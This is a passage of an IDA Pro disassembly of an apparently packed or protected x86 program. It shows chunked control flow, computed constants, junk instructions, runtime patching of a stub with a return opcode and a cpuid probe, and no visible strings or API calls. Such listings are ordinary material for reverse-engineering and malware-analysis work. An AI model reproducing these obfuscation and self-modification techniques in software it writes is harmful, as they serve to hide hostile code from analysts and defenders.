		add	esp, 0FFFFFFF8h
		push	ebx


loc_408F23:				; CODE XREF: _837l4vi2:loc_40A93Fj
		push	0BD06D4B4h
		pop	ebx
		jmp	loc_40DD56
sub_408F1B	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_408F2E:				; CODE XREF: _837l4vi2:0040CAF3j
		xchg	ebx, edi

; =============== S U B	R O U T	I N E =======================================



sub_408F30	proc near		; CODE XREF: _837l4vi2:0040F9A3p

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00405C0B SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0040E3C3 SIZE 00000005 BYTES

		mov	[esp-4+arg_0], edx
		pop	edx
		xchg	ebx, [esp+0]
		mov	ecx, ebx
		pop	ebx
		jmp	loc_40E3C3
sub_408F30	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_30. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_409868


loc_408F40:				; CODE XREF: sub_409868+5F84j
		jmp	sub_40E13A
; END OF FUNCTION CHUNK	FOR sub_409868
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_217. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40855B


loc_408F46:				; CODE XREF: sub_40855B+819Fj
		jmp	loc_4052CC
; END OF FUNCTION CHUNK	FOR sub_40855B

; =============== S U B	R O U T	I N E =======================================



sub_408F4B	proc near		; CODE XREF: sub_40CDE9+Ap
					; _837l4vi2:0040EE41j

; FUNCTION CHUNK AT 00405CDA SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040C5FE SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0040CA15 SIZE 00000006 BYTES

		xchg	eax, [esp+0]
		pop	eax
		mov	ebp, esp
		call	nullsub_1
		mov	eax, ds:dword_406D58
		call	sub_40B99D
		jmp	loc_40C5FE
sub_408F4B	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4062F1


loc_408F65:				; CODE XREF: sub_409D6B-4960j
					; sub_4062F1+1j
		mov	ebp, esp
		pushf
		mov	[esp+8+var_8], ecx
		push	offset sub_40C805


loc_408F70:				; CODE XREF: sub_40A58E:loc_4057F9j
		jmp	nullsub_20
; END OF FUNCTION CHUNK	FOR sub_4062F1

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_408F75	proc near		; CODE XREF: sub_40F471:loc_407C7Dj
		retn
sub_408F75	endp

; ---------------------------------------------------------------------------


loc_408F76:				; CODE XREF: _837l4vi2:0040B709j
		jmp	locret_407DDB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41045F


loc_408F7B:				; CODE XREF: sub_41045F:loc_40CF91j
		mov	ebp, esp
		push	6317D509h
		mov	[esp+8+var_8], ecx
		mov	esp, ebp
		xchg	edx, [esp+8+var_8]
		mov	ebp, edx
		xchg	eax, [esp+8+var_8]
		mov	edx, eax
		jmp	loc_410699
; END OF FUNCTION CHUNK	FOR sub_41045F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40601E


loc_408F96:				; CODE XREF: sub_40601E+1455j
		push	19B31F96h
		adc	edx, ecx
		push	0DDAC0A3Eh
		jmp	loc_40C7AB
; END OF FUNCTION CHUNK	FOR sub_40601E
; ---------------------------------------------------------------------------
		shl	ebp, 6
		jmp	sub_40CD07
; ---------------------------------------------------------------------------


loc_408FAF:				; DATA XREF: sub_40B952+9o
		mov	[ebp-1Ch], eax
		mov	dword ptr [ebp-18h], 0
; START	OF FUNCTION CHUNK FOR sub_4068BD


loc_408FB9:				; CODE XREF: sub_4068BD+7j
		mov	eax, [ebp-4]
		mov	edx, [ebp-14h]
; END OF FUNCTION CHUNK	FOR sub_4068BD
; START	OF FUNCTION CHUNK FOR sub_4104E3


loc_408FBF:				; CODE XREF: sub_4104E3-A606j
		add	eax, [edx+20h]
		xor	edx, edx
		jmp	loc_40A2D0
; END OF FUNCTION CHUNK	FOR sub_4104E3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_409DD8


loc_408FC9:				; CODE XREF: sub_409DD8:loc_40FC7Bj
		call	sub_40B0B9


loc_408FCE:				; CODE XREF: sub_40833D+63C5j
		jg	loc_410BF0
		popf
		xor	esi, edi
		sub	ecx, 73E20195h
		jmp	loc_405B0F
; END OF FUNCTION CHUNK	FOR sub_409DD8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40CEC1


loc_408FE2:				; CODE XREF: sub_40CEC1:loc_40FF8Cj
		cmp	dword ptr [ebp-4], 0
		jnz	loc_405B0F
		jmp	loc_410F2C
; END OF FUNCTION CHUNK	FOR sub_40CEC1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41045F


loc_408FF1:				; CODE XREF: sub_41045F-715Aj
		jb	loc_4085EB
		jmp	loc_40B2B6
; END OF FUNCTION CHUNK	FOR sub_41045F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_407918


loc_408FFC:				; CODE XREF: sub_407918+8EBj
		adc	eax, 838D973Ch
		adc	eax, 3E1960D6h


loc_409008:				; CODE XREF: sub_407918:loc_4081F6j
		xor	eax, 0C90BD347h
		add	eax, ebp
		add	eax, 0C782615Ah
		mov	eax, [eax]
		neg	eax
		sbb	eax, eax
		jmp	loc_40D9C7
; END OF FUNCTION CHUNK	FOR sub_407918
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D977


loc_409021:				; CODE XREF: sub_40D977:loc_40AD5Fj
		jge	loc_405311
; END OF FUNCTION CHUNK	FOR sub_40D977
; START	OF FUNCTION CHUNK FOR sub_405723


loc_409027:				; CODE XREF: sub_405723+Fj
		jmp	loc_40B88A
; END OF FUNCTION CHUNK	FOR sub_405723
; ---------------------------------------------------------------------------
		mov	[edx], eax
		test	ecx, 77528BDCh
		jmp	loc_405302
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D68E


loc_409039:				; CODE XREF: sub_40D68E+Dj
		add	esi, 0DCEC520Fh
		mov	[esi], eax
		pop	esi
		retn
; END OF FUNCTION CHUNK	FOR sub_40D68E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40BF48


loc_409043:				; CODE XREF: sub_40BF48-1120j
		jmp	loc_407708
; END OF FUNCTION CHUNK	FOR sub_40BF48
; ---------------------------------------------------------------------------


loc_409048:				; CODE XREF: _837l4vi2:loc_40E202j
		ror	eax, 0Ah
		push	ebp
		mov	[esp], eax
		jmp	loc_40DA58
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40E3C8


loc_409054:				; CODE XREF: sub_40E3C8-5C6Bj
		jz	loc_406884
		jmp	loc_40DB2A
; END OF FUNCTION CHUNK	FOR sub_40E3C8
; ---------------------------------------------------------------------------


loc_40905F:				; CODE XREF: _837l4vi2:loc_4102AAj
		add	ebx, 0AFD2846Eh
		mov	[ebx], edx
		mov	ebx, offset sub_408EAA
		xchg	ebx, [esp]
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_408736


loc_409070:				; CODE XREF: sub_408736+4B52j
		jmp	sub_407E61
; END OF FUNCTION CHUNK	FOR sub_408736
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_408567


loc_409075:				; CODE XREF: sub_408567-11BCj
		jmp	loc_410638
; END OF FUNCTION CHUNK	FOR sub_408567
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_144. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40892F


loc_40907B:				; CODE XREF: sub_40892F+73DBj
		jmp	sub_40D92B
; END OF FUNCTION CHUNK	FOR sub_40892F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40C0FD


loc_409080:				; CODE XREF: _837l4vi2:00409F46j
					; sub_40C0FD:loc_40DB7Aj
		mov	eax, ds:dword_40AB74
		mov	[ebp+var_4], eax
		push	2BF723B4h
		pop	eax
		or	eax, 0E7628760h
		xor	eax, 96423C8Bh


loc_40909A:				; CODE XREF: sub_41087A:loc_40586Cj
		add	eax, ebp
		push	offset sub_406614
		jmp	nullsub_65
; END OF FUNCTION CHUNK	FOR sub_40C0FD

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4090A6	proc near		; CODE XREF: sub_405474:loc_40A14Ej
		retn
sub_4090A6	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D7F5


loc_4090A7:				; CODE XREF: sub_40D7F5+D3Ej
		jmp	sub_410B5D
; END OF FUNCTION CHUNK	FOR sub_40D7F5
; ---------------------------------------------------------------------------


loc_4090AC:				; CODE XREF: _837l4vi2:0040C3DDj
		jmp	loc_40CE21
; ---------------------------------------------------------------------------


loc_4090B1:				; CODE XREF: _837l4vi2:0040B57Dj
		jmp	loc_410594
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D363


loc_4090B6:				; CODE XREF: sub_40D363:loc_40E88Bj
					; sub_40D363+1531j
		xor	ecx, 0D2B742B9h
		add	eax, ecx
		pop	ecx
		jmp	loc_409457
; END OF FUNCTION CHUNK	FOR sub_40D363
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_405606


loc_4090C4:				; CODE XREF: sub_405606j
		call	sub_40C0FD

locret_4090C9:				; CODE XREF: sub_40B4E8:loc_406B15j
		retn
; END OF FUNCTION CHUNK	FOR sub_405606
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D735


loc_4090CA:				; CODE XREF: sub_40D735:loc_40666Bj
		jmp	loc_409523
; END OF FUNCTION CHUNK	FOR sub_40D735
; ---------------------------------------------------------------------------
		mov	[ebx], ebp
		jmp	loc_40E447
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4108AF


loc_4090D6:				; CODE XREF: sub_4108AF-B359j
		add	eax, 9037C0B8h
		mov	eax, [eax]
		add	eax, 4
		call	sub_40D908
; END OF FUNCTION CHUNK	FOR sub_4108AF
; START	OF FUNCTION CHUNK FOR sub_41087A


loc_4090E6:				; CODE XREF: sub_41087A-404Aj
		jmp	nullsub_155
; END OF FUNCTION CHUNK	FOR sub_41087A
; ---------------------------------------------------------------------------


loc_4090EB:				; CODE XREF: _837l4vi2:0040AA01j
		jmp	loc_410855
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_408567


loc_4090F0:				; CODE XREF: sub_408567+2FE8j
		jnp	loc_410EE1


loc_4090F6:				; CODE XREF: sub_408567:loc_40E286j
		lea	edx, [ebp+var_14]
		push	8E5E0B56h
		pop	eax
		jmp	loc_409562
; END OF FUNCTION CHUNK	FOR sub_408567
; ---------------------------------------------------------------------------
		sbb	edx, ebx
		jmp	loc_409954
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_408F1B


loc_40910B:				; CODE XREF: sub_408F1B:loc_4080E9j
		jz	loc_4076E3
		sbb	ebx, 1ACCB454h
		ja	loc_409C99
		or	edx, ecx
		rol	ebp, 16h
		jmp	loc_4076E3
; END OF FUNCTION CHUNK	FOR sub_408F1B

; =============== S U B	R O U T	I N E =======================================



sub_409127	proc near		; CODE XREF: sub_408736+682Cp
					; _837l4vi2:0041106Bj

; FUNCTION CHUNK AT 00406596 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00406847 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00407978 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00407C87 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 004099E0 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0040B96F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040C20C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040D9AA SIZE 0000001D BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		push	0DC6AD631h
		pop	esi
		xor	esi, 63655880h
		rol	esi, 9
		add	esi, 0E12301A2h
		mov	[esi], eax
		jmp	loc_40C20C
sub_409127	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_409147	proc near		; DATA XREF: _837l4vi2:00408B3Eo
		push	eax
		retn
sub_409147	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D6D7


loc_409149:				; CODE XREF: sub_40D6D7+18j
		jmp	loc_40B3E1
; END OF FUNCTION CHUNK	FOR sub_40D6D7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_405250


loc_40914E:				; CODE XREF: sub_405250+29F3j
		jmp	loc_4053AA
; END OF FUNCTION CHUNK	FOR sub_405250

; =============== S U B	R O U T	I N E =======================================



sub_409153	proc near		; CODE XREF: sub_40BF48-664Ap
					; sub_40F9B3-1DFj

; FUNCTION CHUNK AT 0040F1AD SIZE 00000005 BYTES

		push	ebp
		push	offset loc_40F989
		jmp	loc_40F1AD
sub_409153	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40E6CD


loc_40915E:				; CODE XREF: sub_40E6CD+A2Bj
		push	145A152Bh
; END OF FUNCTION CHUNK	FOR sub_40E6CD
; START	OF FUNCTION CHUNK FOR sub_408736


loc_409163:				; CODE XREF: sub_40E6CD:loc_40A63Dj
					; sub_40E6CD:loc_40CDBFj ...
		mov	ecx, offset loc_409171
		xchg	ecx, [esp+0]
		retn
; END OF FUNCTION CHUNK	FOR sub_408736
; ---------------------------------------------------------------------------


loc_40916C:				; CODE XREF: _837l4vi2:0040B03Dj
		jmp	locret_40A9AC
; ---------------------------------------------------------------------------


loc_409171:				; DATA XREF: sub_408736:loc_409163o
		xchg	ebx, [esp]
		mov	ebp, ebx
		pop	ebx
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_405CBC


loc_409178:				; CODE XREF: sub_405CBC+98C0j
		jmp	loc_40CF36
; END OF FUNCTION CHUNK	FOR sub_405CBC
; ---------------------------------------------------------------------------
		not	edx
		push	ebp
		jmp	sub_4068E7
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_84. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_406ADC


loc_409186:				; CODE XREF: sub_406ADC+3FF5j
		jmp	loc_40F1E1
; END OF FUNCTION CHUNK	FOR sub_406ADC
; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40918C	proc near		; CODE XREF: sub_40AB03:loc_40DAC3j
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		push	edi
		push	6C329701h
		jmp	loc_40722F
sub_40918C	endp

; ---------------------------------------------------------------------------


loc_40919D:				; DATA XREF: sub_4089C5-3807o
		push	edx
		push	2920A382h
		shl	edx, 16h
		jmp	loc_4093DF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A799


loc_4091AB:				; CODE XREF: sub_40A799:loc_408C2Bj
		mov	ebp, esi
		pop	esi
		jmp	loc_410A34
; END OF FUNCTION CHUNK	FOR sub_40A799
; ---------------------------------------------------------------------------
		call	sub_409748
; START	OF FUNCTION CHUNK FOR sub_4085B9


loc_4091B8:				; CODE XREF: sub_4085B9+22A2j
		xor	ebx, ebx
		xor	ecx, ecx
		xor	edx, edx
		cpuid
		jmp	loc_40F421
; END OF FUNCTION CHUNK	FOR sub_4085B9
; ---------------------------------------------------------------------------

locret_4091C5:				; CODE XREF: _837l4vi2:0040A7C4j
		retn
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_44. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_4091C7:				; CODE XREF: _837l4vi2:0040E814j
		jmp	loc_40D016
; ---------------------------------------------------------------------------


loc_4091CC:				; CODE XREF: _837l4vi2:0040EA34j
		pushf

; =============== S U B	R O U T	I N E =======================================



sub_4091CD	proc near		; CODE XREF: sub_40DAE3+Ep

; FUNCTION CHUNK AT 0040F748 SIZE 00000005 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		call	sub_4089C5
		pop	ecx
		mov	[ebp-20h], eax
		jmp	loc_40F748
sub_4091CD	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_4091DF:				; CODE XREF: _837l4vi2:0040B5A4j
		test	eax, ebp
		jmp	loc_407ACD

; =============== S U B	R O U T	I N E =======================================



sub_4091E6	proc near		; CODE XREF: _837l4vi2:00407C1Cj
					; sub_40E294-3A33p
		xchg	edi, [esp+0]
		pop	edi
		call	sub_40B99D
		retn
sub_4091E6	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_4091F0:				; CODE XREF: _837l4vi2:00410C33j
		jmp	loc_40F340
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_407FEA


loc_4091F5:				; CODE XREF: _837l4vi2:0040868Fj
					; sub_407FEA+2117j
		jz	loc_40C30C
		lea	eax, [ebp-24h]
		call	sub_409CBB


loc_409203:				; CODE XREF: _837l4vi2:00409540j
		jmp	loc_40D83B
; END OF FUNCTION CHUNK	FOR sub_407FEA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40558B


loc_409208:				; CODE XREF: sub_40558B+2j
		jmp	loc_410A34
; END OF FUNCTION CHUNK	FOR sub_40558B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A454


loc_40920D:				; CODE XREF: sub_40A454-2759j
					; sub_40A454+Aj
		inc	dword ptr [ebp-8]
		inc	dword ptr [ebp-0Ch]
		jmp	loc_407B72
; END OF FUNCTION CHUNK	FOR sub_40A454

; =============== S U B	R O U T	I N E =======================================



sub_409218	proc near		; CODE XREF: sub_40E4F1-8911p
					; sub_41087A:loc_40618Fp ...
		jz	sub_405797
		push	offset sub_40B7DE
		jmp	nullsub_22
sub_409218	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A1E6


loc_409228:				; CODE XREF: sub_40A1E6+4039j
		sub	eax, 31B3CA72h
		add	eax, 940E61Ah
		push	offset sub_40B89B
		jmp	nullsub_77
; END OF FUNCTION CHUNK	FOR sub_40A1E6
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_55. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40AC43


loc_40923F:				; CODE XREF: sub_40AC43:loc_40C69Ej
		jmp	nullsub_51
; END OF FUNCTION CHUNK	FOR sub_40AC43
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D242


loc_409244:				; CODE XREF: _837l4vi2:00405EF2j
					; sub_40D242+30A2j
		push	offset sub_40FC80
		jmp	nullsub_210
; END OF FUNCTION CHUNK	FOR sub_40D242
; ---------------------------------------------------------------------------
		adc	ebx, esi
; START	OF FUNCTION CHUNK FOR sub_40833D


loc_409250:				; CODE XREF: sub_40833D:loc_410FB2j
		test	ecx, 6CE0BFF7h
		jmp	loc_4056FC
; END OF FUNCTION CHUNK	FOR sub_40833D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D735


loc_40925B:				; CODE XREF: sub_40D735:loc_408A5Bj
		jnz	loc_40AF9B
		xchg	edx, esi
		jmp	loc_40AF98
; END OF FUNCTION CHUNK	FOR sub_40D735
; ---------------------------------------------------------------------------
		mov	eax, ecx
		jmp	sub_40F453

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40926F	proc near		; CODE XREF: sub_407287+18p
					; sub_407287+8443p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00405469 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00405525 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040628A SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0040659B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00407A69 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0040949F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00409E18 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0040A347 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040AA2A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040AC83 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0040ADC0 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0040AFA5 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0040B269 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0040C038 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0040D98F SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0040DB0E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040DC6B SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0040E2F3 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0040E41D SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0040EA3F SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0040EA75 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0040F23D SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0040F3AA SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040F658 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0040FDBE SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00410AB2 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00410F37 SIZE 00000006 BYTES

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_8], eax
		jmp	loc_4092B1
; ---------------------------------------------------------------------------


loc_409283:				; CODE XREF: sub_40966E:loc_40FFA2j
		push	esi
		push	0D37672BEh
		pop	esi
		or	esi, 85C53754h
		jmp	loc_40D98F
; ---------------------------------------------------------------------------


loc_409295:				; CODE XREF: sub_40B67D:loc_405E7Dj
		call	sub_40CEB5
		jo	loc_40C038
		pushf
		jmp	sub_4086F2
; ---------------------------------------------------------------------------

locret_4092A6:				; CODE XREF: _837l4vi2:loc_40C358j
		retn
; ---------------------------------------------------------------------------


loc_4092A7:				; CODE XREF: _837l4vi2:0040C033j
		jmp	loc_410ABA
; ---------------------------------------------------------------------------


loc_4092AC:				; CODE XREF: sub_40AEAE+15j
		jmp	loc_40ADC0
; ---------------------------------------------------------------------------


loc_4092B1:				; CODE XREF: sub_40926F+Fj
		jmp	loc_40F23D
sub_40926F	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40AE2D


loc_4092B6:				; CODE XREF: sub_40AE2D+2j
		call	sub_40BF48
		test	al, al
		jz	loc_410AC1
		jmp	loc_4105C9
; END OF FUNCTION CHUNK	FOR sub_40AE2D
; ---------------------------------------------------------------------------


loc_4092C8:				; DATA XREF: sub_406C7D:loc_40985Eo
		cmp	dword ptr [ebp-10h], 0
		setnz	byte ptr [ebp-5]
; START	OF FUNCTION CHUNK FOR sub_405D62


loc_4092D0:				; CODE XREF: sub_41087A-A6E4j
					; _837l4vi2:0040965Dj ...
		mov	al, [ebp-5]
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_405D62
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B99D


loc_4092D7:				; CODE XREF: sub_40B99D+3081j
		jmp	loc_40D42F
; END OF FUNCTION CHUNK	FOR sub_40B99D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4085D7


loc_4092DC:				; CODE XREF: sub_4085D7+9j
		jmp	loc_40B48A
; END OF FUNCTION CHUNK	FOR sub_4085D7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40DE47


loc_4092E1:				; CODE XREF: _837l4vi2:0040CA4Fj
					; sub_40DE47+Bj
		mov	byte ptr [ebp-5], 0
		jmp	loc_409B83
; END OF FUNCTION CHUNK	FOR sub_40DE47
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_7. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
		mov	bl, 0F4h
		or	ecx, [ebx]
		jmp	loc_4072FF
; ---------------------------------------------------------------------------


loc_4092F4:				; DATA XREF: sub_4098CA-1D90o
		sub	edx, ecx
		pop	edx
		pop	ebx
		pop	eax
		pop	ecx
		jmp	loc_407671
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41045F


loc_4092FF:				; CODE XREF: sub_41045F:loc_408092j
		jz	loc_40B2B9
		jmp	loc_408FF1
; END OF FUNCTION CHUNK	FOR sub_41045F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_410942


loc_40930A:				; CODE XREF: sub_410942+20j
		mov	ds:dword_406B60, eax
		jmp	loc_406100
; END OF FUNCTION CHUNK	FOR sub_410942
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_407AA4


loc_409314:				; CODE XREF: sub_407AA4:loc_40F0B6j
		cmp	ds:dword_406B60, 0
		jnz	loc_405E2C
		call	sub_40610A
		mov	edx, 0E5254649h
		call	sub_40CC4A
		mov	ds:dword_406B60, eax
		jmp	loc_406100
; END OF FUNCTION CHUNK	FOR sub_407AA4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_405CBC


loc_40933A:				; CODE XREF: sub_405CBC+3217j
		adc	edi, ebp
		or	eax, 924A7BD1h
		xchg	ecx, ebp
		xchg	eax, [edx]
		ja	loc_405E25
		jmp	loc_40B974
; END OF FUNCTION CHUNK	FOR sub_405CBC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40CA5A


loc_409351:				; CODE XREF: sub_40CA5A-1F63j
		xchg	edx, [edi]
		mov	[ebp+0], esi
		jmp	loc_4100BB
; END OF FUNCTION CHUNK	FOR sub_40CA5A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_410E72


loc_40935B:				; CODE XREF: _837l4vi2:loc_407A4Dj
					; sub_410E72-689Cj
		ror	eax, 7
		push	eax
		retn
; END OF FUNCTION CHUNK	FOR sub_410E72
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40882B


loc_409360:				; CODE XREF: sub_40882B+44ADj
		push	edx
		push	0DB637A4Ch
		pop	edx
		add	edx, 24DD43F9h
		jmp	loc_4078BF
; END OF FUNCTION CHUNK	FOR sub_40882B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40611B


loc_409372:				; CODE XREF: sub_40611B:loc_407D92j
		pushf
		jmp	loc_405368
; END OF FUNCTION CHUNK	FOR sub_40611B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40833D


loc_409378:				; CODE XREF: sub_40833D+1BE8j
		push	845CB1D0h
		pop	edx
		rol	edx, 1Ah
		add	edx, 0BDEE8D39h
		xchg	edx, [esp+0]
		push	offset sub_40A24F
		jmp	loc_408842
; END OF FUNCTION CHUNK	FOR sub_40833D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40CDE9


loc_409394:				; CODE XREF: sub_40CDE9+32FAj
		add	esi, ebp
		jmp	loc_40D3E9
; END OF FUNCTION CHUNK	FOR sub_40CDE9

; =============== S U B	R O U T	I N E =======================================



sub_40939B	proc near		; CODE XREF: sub_40966E+Ap
					; _837l4vi2:00410BAEj

; FUNCTION CHUNK AT 004062D7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040B099 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0040DD3B SIZE 0000001B BYTES

		xchg	esi, [esp+0]
		pop	esi
		mov	eax, [ebp-1Ch]
		shl	eax, 8
		jmp	loc_4062D7
sub_40939B	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_4093AA:				; CODE XREF: _837l4vi2:0040E963j
		ja	loc_40B7A8

; =============== S U B	R O U T	I N E =======================================



sub_4093B0	proc near		; CODE XREF: sub_41025B+Dp

; FUNCTION CHUNK AT 0040AA78 SIZE 00000005 BYTES

		mov	[esp+0], ebx
		pop	ebx
		lea	eax, nullsub_7
		mov	byte ptr [eax],	0C3h
		push	offset loc_40EBEA
		jmp	loc_40AA78
sub_4093B0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4093C7	proc near		; CODE XREF: _837l4vi2:00406D40p
					; _837l4vi2:0040E174j

; FUNCTION CHUNK AT 00407478 SIZE 0000000D BYTES

		mov	[esp+0], eax
		pop	eax
		inc	dword ptr [ebp-4]
		mov	eax, [ebp+8]
		mov	eax, [eax-10h]
		shr	eax, 6
		mov	[ebp-10h], eax
		jmp	loc_407478
sub_4093C7	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_4093DF:				; CODE XREF: _837l4vi2:004091A6j
		pop	edx
		or	edx, 4D56E761h
		add	edx, 50E19E53h
		add	edx, ebp
		add	edx, 41A779C6h
		mov	[edx], eax
		pop	edx
		call	sub_40DD8C
; START	OF FUNCTION CHUNK FOR sub_40CEC1


loc_4093FC:				; CODE XREF: sub_40CEC1+4071j
		jmp	loc_409F59
; END OF FUNCTION CHUNK	FOR sub_40CEC1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40DF4A


loc_409401:				; CODE XREF: sub_40DF4A:loc_40FF7Fj
		push	offset sub_408CBD
		jmp	loc_40C44A
